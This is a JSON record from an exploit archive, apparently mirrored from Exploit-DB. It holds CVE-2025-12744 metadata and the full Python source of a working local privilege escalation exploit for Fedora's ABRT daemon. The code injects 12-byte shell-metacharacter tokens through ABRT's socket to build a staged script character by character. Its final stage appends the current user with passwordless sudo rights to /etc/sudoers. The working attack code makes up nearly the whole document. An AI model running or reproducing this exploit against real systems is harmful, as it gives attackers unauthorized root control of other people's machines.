{"exploit":{"id":"EDB-52515","name":"Fedora - Local Privilege Escalation (LPE)","description":"Fedora - Local Privilege Escalation (LPE)","cves":["CVE-2025-12744"],"author":"Chris","published":"2026-04-29","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52515","path":"exploits/linux/local/52515.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52515.py","vulnerabilities":[{"id":"CVE-2025-12744","state":"PUBLISHED","title":"Abrt: command-injection in abrt leading to local privilege escalation","titleSource":"CVE Program","description":"A flaw was found in the ABRT daemon’s handling of user-supplied mount information.ABRT copies up to 12 characters from an untrusted input and places them directly into a shell command (docker inspect %s) without proper validation. An unprivileged local user can craft a payload that injects shell metacharacters, causing the root-running ABRT process to execute attacker-controlled commands and ultimately gain full root privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-12744","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"fedora","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-12744"},"updatedAt":"2025-12-03T14:21:59.766Z","retrievedAt":"2026-11-25T16:15:50.743Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52515.png?v=2","url":"https://exploitbin.com/exploits/EDB-52515","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52515/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52515/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Exploit Title: Fedora Local Privilege Escalation via ABRT\nDate: 07-October-2025\nExploit Author: initstring\nVendor Homepage: https://fedoraproject.org\nSoftware Link: https://fedoraproject.org/server/download\nVersion: Fedora 43 and below (running ABRT v 2.17.7 and below)\nTested on: Fedora 42 Workstation & Server, Fedora 43 Workstation & Server\nCVE : CVE-2025-12744\n\"\"\"\nabrt_root: local privilege escalation vulnerability in Fedora's ABRT\n\nResearch and development by initstring.\n\"\"\"\n\nimport getpass\nimport socket\nimport time\nimport uuid\nfrom pathlib import Path\n\nBANNER = \"\"\"\n####################################################################\nabrt_root: local privilege escalation vulnerability in Fedora's ABRT\nResearch and development by initstring.\n####################################################################\n\"\"\"\n\nSOCKET_PATH = \"/var/run/abrt/abrt.socket\"\nHELPER_SCRIPT_NAME = \"final\"\n\nRESET_TOKEN = \";:>q;:;:;:;:\"\nEXEC_TOKEN = \";sh\\tq;:;:;:;\"\nAPPEND_TEMPLATE = \";printf\\t{char}>>q\"\n\nMAX_RETRIES = 10\nSLEEP_BETWEEN_TOKENS = 0.5\n\n\ndef build_body(payload: str, reason: str, unique: str) -> bytes:\n    pid = str(int(unique[:4], 16) % 30000 + 1).encode()\n    cmdline = f\"/usr/bin/python3 {unique}\".encode()\n    container_cmd = f\"/usr/bin/docker run test {unique}\".encode()\n    type_tag = f\"Python3-{unique[:6]}\".encode()\n    fields = [\n        (b\"type\", type_tag),\n        (b\"reason\", reason.encode()),\n        (b\"pid\", pid),\n        (b\"executable\", f\"/usr/bin/python3-{unique}\".encode()),\n        (b\"cmdline\", cmdline),\n        (b\"container_cmdline\", container_cmd),\n        (b\"mountinfo\", b\"74 2 0:36 / / rw,relatime shared:1 - ext4 \" + payload.encode() + b\"\\n\"),\n        (b\"backtrace\", f\"trace {reason} {unique}\".encode()),\n        (b\"uuid\", unique.encode()),\n        (b\"duphash\", unique.encode()),\n    ]\n    body = bytearray()\n    for key, value in fields:\n        body += key + b\"=\" + value + b\"\\0\"\n    return bytes(body)\n\n\ndef send_once(payload: str) -> str:\n    token = \"/docker-\" + payload\n    unique = uuid.uuid4().hex\n    reason = f\"auto root {int(time.time())}-{unique[:6]}\"\n    blob = b\"POST / HTTP/1.1\\r\\n\\r\\n\" + build_body(token, reason, unique)\n\n    with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock:\n        sock.connect(SOCKET_PATH)\n        sock.sendall(blob)\n        sock.shutdown(socket.SHUT_WR)\n        reply = sock.recv(4096).decode(errors=\"ignore\").strip()\n\n    return reply or \"<no response>\"\n\n\ndef send_with_retry(payload: str) -> None:\n    for attempt in range(1, MAX_RETRIES + 1):\n        reply = send_once(payload)\n        # DEBUG\n        # print(f\"[{payload!r}] attempt {attempt}: {reply}\")\n        if \"201\" in reply:\n            time.sleep(SLEEP_BETWEEN_TOKENS)\n            return\n        time.sleep(SLEEP_BETWEEN_TOKENS)\n    raise RuntimeError(f\"Failed to send payload '{payload}' with HTTP 201\")\n\n\ndef token_for_char(ch: str) -> str:\n    token = APPEND_TEMPLATE.format(char=ch)\n    if len(token) != 12:\n        raise ValueError(f\"Character {ch!r} produced token length {len(token)}\")\n    return token\n\n\ndef main() -> None:\n    print(BANNER)\n\n    # First we write out the third/final stage to a script in the current working directory.\n    # It contains our ultimate goal - escaping the systemd sandbox to write our current\n    # low-priv user name to /etc/sudoers to give us root access.\n    current_user = getpass.getuser()\n    cwd = Path.cwd()\n    helper_script_path = cwd / HELPER_SCRIPT_NAME\n    helper_script_path.write_text(\n        f\"systemd-run --pty -- bash -lc \\\"echo '{current_user} ALL=(ALL)\tNOPASSWD: ALL' >> /etc/sudoers\\\"\\n\",\n        encoding=\"ascii\",\n    )\n    helper_script_path.chmod(0o755)\n\n    # Next we build the text which will be written to the second stage script.\n    # It is meant to call the third stage script. Characters are limited in this second stage\n    # script, which is why we can't just list the complex commands from above.\n    # The PWD vars you see are not resolved here in the Python script - they are instead\n    # resolved when the targeted daemon executes the script. It has `PWD=/` in its context\n    # which allows us to write the `/` which otherwise is filtered out during this stage\n    # of the attack.\n    command = \"${PWD}\" + \"${PWD}\".join(helper_script_path.resolve().parts[1:])\n\n    # The reset token just clears the file (/q) where we are writing that second stage to.\n    print(\"[+] Executing stage one...\")\n    send_with_retry(RESET_TOKEN)\n\n    time.sleep(3)\n\n    # This is stage one of the attack. We have just enough bytes to perfectly inject a\n    # command which will append one character to a file. It loops through to write out\n    # the second stage script to `/q`\n    for index, ch in enumerate(command, 1):\n        token = token_for_char(ch)\n        # DEBUG\n        # print(f\"[+] Staging char {index}/{len(command)} -> {token!r}\")\n        send_with_retry(token)\n\n    # This uses the same 12-byte gadget to execute the stage two script that has\n    # now been written to `/q`. That script, in turn, executes the stage three script\n    # which has no character limitations and completes the exploit.\n    print(\"[+] Chaining execution of stage two and three...\")\n    send_with_retry(EXEC_TOKEN)\n\n    print(\"\\n[+] Now you're playing with power.\")\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"82028f73a74ce3211bcc18de27d3a82e533362428957bd64c09a4ff610c99cd3","bytes":5301,"fetchedAt":"2026-11-26T11:18:00.223Z","encoding":"utf-8 (display only; download retains original bytes)"}